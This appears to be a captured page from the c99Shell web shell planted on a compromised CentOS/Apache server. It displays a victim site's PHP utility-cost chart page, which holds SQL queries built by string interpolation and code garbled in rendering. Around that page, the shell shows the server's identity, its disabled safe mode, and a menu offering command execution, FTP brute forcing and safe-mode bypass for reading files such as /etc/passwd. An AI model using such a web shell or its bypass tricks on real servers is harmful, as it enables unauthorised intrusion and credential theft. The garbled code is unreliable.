!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/report/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     money01.php (5.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php   
include_once("classes/Crud1.php");
$crud = new Crud();
?>
<!DOCTYPE HTML>
<html>
<head>  
<meta charset="UTF-8">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link rel="stylesheet"
          href="https://fonts.googleapis.com/css?family=Tangerine">
    <style>
      body {
        font-family: 'Kanit', sans-serif;
        font-size: 8 px;
      }
    </style>
<link rel="stylesheet" type="text/css" href="app-assets/vendors/css/tables/datatable/datatables.min.css">
</head>
<body>
<?php
include("header.php");
?>
<br>
<center>กราฟแสดงการเปรียบเทียบค่าสาธารณูปโภค</center>
<br>
 <div class="row">
  <div class="col-sm-12 text-center">
    <div class="card">
      <div class="card-body">
      <div id="chartContainer" style="height: 370px; width: 100%;"></div>
      </div>
    </div>
  </div>
  
</div> 

<div class="row">
  <div class="col-sm-12 text-center">
    <div class="card">
      <div class="card-body">
<table class="table table-bordered">
<?php // ชั้นปี
    
$classYear "SELECT * FROM mount ";
    
$resultClass $crud->getData($classYear);
    foreach(
$resultClass as $key => $dataClass){ 
    
$idClassYear=$dataClass['syId'];
    
$percent "SELECT * FROM classLevel WHERE stdSyId='$idClassYear' ";
    
$resultPercent $crud->getData($percent);
    foreach(
$resultPercent as $key => $dataPercent){$per=$dataPercent['amout'];}
?>

  <tbody>
<?php
    $no
=1;
    
$a1=0;
    
$statusdata"SELECT * FROM rg_StudentStatus ";
    
$resultStatus $crud->getData($statusdata);
    foreach(
$resultStatus as $key => $dataStatus){
        
$sstId=$dataStatus['sstId'];
?>
    
<?php
if($sstId==1){$a1+=$dataCount['ID'];}
$no++;
    }
//สถานะ
?>
  </tbody>
<?php
    
}//ชั้นปี
?>
</table>
</div>
    </div>
  </div>
  
</div>
    <script src="app-assets/vendors/js/tables/datatable/datatables.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/datatables.buttons.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/datatables.bootstrap4.min.js"></script>
    <script src="app-assets/js/scripts/datatables/datatable.js"></script>
    <script src="canvasjs.min.js"></script>
</body>
</html>
<?php
function DateThai($strDate)
{
    
$strYear date("Y",strtotime($strDate))+543;
    
$strMonthdate("n",strtotime($strDate));
    
$strDaydate("j",strtotime($strDate));
    
$strHourdate("H",strtotime($strDate));
    
$strMinutedate("i",strtotime($strDate));
    
$strSecondsdate("s",strtotime($strDate));
    
$strMonthCut = Array("","ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
    
$strMonthThai=$strMonthCut[$strMonth];
    return 
"$strDay $strMonthThai $strYear";
}
?>


<script>
window.onload = function () {

var chart = new CanvasJS.Chart("chartContainer", {
    exportEnabled: true,
    animationEnabled: true,
    title:{
        text: "รายงานค่าไฟฟ้า <?=$dataClass['syName'];?>"
    }, 
    axisX: {
        title: "เดือน"
    },
    axisY: {
        title: "จำนวนเงิน(บาท)",
        includeZero: true
    },
    toolTip: {
        shared: true
    },
    data: [
        {
        type: "line",
        name: "2561",
        showInLegend: true,      
        yValueFormatString: "#,###.## บาท",
        dataPoints: [
            { label: "ม.ค.",  y: 112990.20 },
            { label: "ก.พ.", y: 143897.42 },
            { label: "มี.ค.", y: 172099.00 },
            { label: "เม.ย",  y: 146297.79 },
            { label: "พ.ค.",  y: 189456.75 },
            { label: "มิ.ย.", y: 165382.47 },
            { label: "ก.ค.", y: 180188.23 },
            { label: "ส.ค",  y: 231819.12 },
            { label: "ก.ย.",  y: 254082.73 },
            { label: "ต.ค.", y: 203625.88 },
            { label: "พ.ย.", y: 136280.12 },
            { label: "ธ.ค",  y: 105597.21 }
        ]
        },
        {
        type: "line",
        name: "2562",
        showInLegend: true,
        yValueFormatString: "#,###.## บาท",
        dataPoints: [
            { label: "ม.ค.",  y: 134907.16 },
            { label: "ก.พ.", y: 188393.95 },
            { label: "มี.ค.", y: 240390.94 },
            { label: "เม.ย",  y: 219958.24 },
            { label: "พ.ค.",  y: 288262.39 },
            { label: "มิ.ย.", y: 252849.97 },
            { label: "ก.ค.", y: 172363.43 },
            { label: "ส.ค",  y: 278983.93 },
            { label: "ก.ย.",  y: 256617.25 },
            { label: "ต.ค.", y: 236263.49 },
            { label: "พ.ย.", y: 170819.71 },
            { label: "ธ.ค",  y: 133694.44 }
        ]
        },
        {
        type: "line",
        name: "2563",
        showInLegend: true,
        yValueFormatString: "#,###.## บาท",
        dataPoints: [
            { label: "ม.ค.",  y: 133841.99 },
            { label: "ก.พ.", y: 121048.63 },
            { label: "มี.ค.", y: 166124.79 },
            { label: "เม.ย",  y: 134676.41 },
            { label: "พ.ค.",  y: 160743.29 },
            { label: "มิ.ย.", y: 136929.63 },
            { label: "ก.ค.", y: 222221.08 },
            { label: "ส.ค",  y: 268809.12 },
            { label: "ก.ย.",  y: 240205.19 },
            { label: "ต.ค.", y: 190604.79 },
            { label: "พ.ย.", y: 129138.93 },
            { label: "ธ.ค",  y: 134314.50 }
        ]
        },
        {
        type: "line",
        name: "2564",
        showInLegend: true,
        yValueFormatString: "#,###.## บาท",
        dataPoints: [
            { label: "ม.ค.",  y: 81447.52 },
            { label: "ก.พ.", y: 133778.75 },
            { label: "มี.ค.", y: 193558.83 },
            { label: "เม.ย",  y: 144581.29 },
            { label: "พ.ค.",  y: 191746.64 },
            { label: "มิ.ย.", y: 176904.85 },
            { label: "ก.ค.", y: 297932.99 },
            { label: "ส.ค",  y: 312979.75 },
            { label: "ก.ย.",  y: 216539.67 },
            { label: "ต.ค.", y: 183807.56 },
            { label: "พ.ย.", y: 145797.62 },
            { label: "ธ.ค",  y: 106354.31 }
        ]
        }

        ]
});
chart.render();

function toggleDataSeries(e) {
    if (typeof (e.dataSeries.visible) === "undefined" || e.dataSeries.visible) {
        e.dataSeries.visible = false;
    } else {
        e.dataSeries.visible = true;
    }
    e.chart.render();
}

}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]--